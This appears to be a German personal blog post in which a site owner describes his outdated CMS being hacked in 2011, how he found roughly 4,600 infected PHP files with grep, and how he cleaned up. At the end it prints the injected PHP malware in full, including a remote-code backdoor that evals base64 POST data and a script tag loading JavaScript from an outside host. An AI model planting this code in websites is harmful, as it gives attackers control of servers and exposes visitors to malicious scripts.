webwork-blog.net

Vorwort für Admins
Jaajaa da vergisst man einmal das CMS auf dem aktuellen Stand zu halten…und schon sind die Russen auf dem Server. Dieses Szenario durfte ich letzte Woche selbst an meinem eigenen Server miterleben. Ich kann euch nur sagen:
Nehmt euch die Zeit und haltet Software auf dem aktuellsten Stand! Es gibt so viele Cyber-Kriminelle da draußen im WWW die den ganzen Tag nichts anderes zu tun haben als alte WordPress-Versionen zu suchen!

Zum Anfang ein Bild…denn ein Bild sagt bekanntlich ja mehr als tausend Worte:


Die Story
27. November 2011. Ich bemerkte merkwürdiges Verhalten des CMSs für seine Galerie. Ich rief die Domain auf. Sie lieferte mir eine Fehlermeldung: “Setup scripts missing”. Sofort verbund ich mich per FTP auf den Server meines Webhosting-Providers, um nachzuschauen ob wirklich die Setup-Scripts fehlen.
Neben dem Fehlen der Setup-Scripts (die für den Betrieb komischerweise benötigt werden – normal löscht man die ja immer) bemerkte ich komische PHP-Dateien auf dem Server. Eine hieß sp567.php, die andere sz283.php. Ich wurf einen Blick in die Index-Datei und sah in den obersten Zeilen Schadcode, der irgendwas mit Cookies und base_64 gemacht hat.

Mir war klar: Da hat jemand eine Sicherheitslücke ausgenutzt.

Nun betrieb ich Schadensbegrenzung und schaute den restlichen Server durch. Dumm gelaufen…fast jede PHP-Datei war infiziert. Ich zog mir von meinem vServer aus ein Backup des Webservers und suchte mithilfe von Linux-Tools wie grep ca. 13.000 Dateien nach dem Schadcode ab.

Sorry – aufgrund meiner Liebe zur Fotografie musste ich ein paar Codeshots machen

Der verwendete Befehl:

grep -rn 'SUCHBEGRIFF' -- *

Sucht alle Vorkommen von SUCHBEGRIFF in allen Dateien im aktuellen und in darunterliegenden Verzeichnissen

grep -rno 'SUCHBEGRIFF' -- *

Macht dasselbe wie der Befehl oben, gibt aber nur die Dateinamen (ohne Auszug aus der Datei) aus

Erstaunliches Ergebnis:
Grob 4.600 Dateien hatten den Schadcode intus.

“Gut, was machste jetzt?” – dachte ich mir.
Ich versuche es mal grob in Stichpunkte zu fassen, was es für ein Aufwand war alles zu putzen.

• betroffenes CMS neu installieren
• kritische Dateien von Hand “putzen”
• FTP-Server direkt in Windows mounten, um dann mit Notepad++ Suchen & Ersetzen zu machen
• Provider anschreiben, weil auch .htaccess-Dateien über dem Documentroot angelegt worden sind

Und noch viel mehr…

Ganz am Schluss durfte ich dann bei Google meine Wiederfreischaltung beantragen und denen mitteilen, dass ich meine Seite geputzt habe.

Wen es interessiert, hier ist der PHP-Code, der sich eingenistet hat. Ich versteh ihn trotz meinen guuten PHP-Kenntnissen nicht so ganz. Wenn ihr wisst was der Code genau macht könnt ihr in die Kommentare schreiben!

$sessdt_o = 1; 
$sessdt_k = "lb11"; 
if(!@$_COOKIE[$sessdt_k]) {
    $sessdt_f = "102";
    if(!@headers_sent()) {
            @setcookie($sessdt_k,$sessdt_f); 
    } 
    else {
            echo "<script type="text/javascript">// <![CDATA[
document.cookie='".$sessdt_k."=".$sessdt_f."';
// ]]></script>";
    }
} else {
    if($_COOKIE[$sessdt_k]=="102") {
        $sessdt_f = (rand(1000,9000)+1);
            if(!@headers_sent()) {
                @setcookie($sessdt_k,$sessdt_f);
            } else {
                echo "<script type="text/javascript">// <![CDATA[
document.cookie='".$sessdt_k."=".$sessdt_f."';
// ]]></script>";
            }
        $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"];
        $sessdt_v = urlencode(strrev($sessdt_j));
        $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200);
        echo "<script type="text/javascript" src="$sessdt_u"></script>";
 
        echo "";
    }
}
$sessdt_p = "showimg";
if(isset($_POST[$sessdt_p])) {
    eval( base64_decode ( str_replace( chr(32), chr(43), $_POST[$sessdt_p]) ) );
    exit;
}
}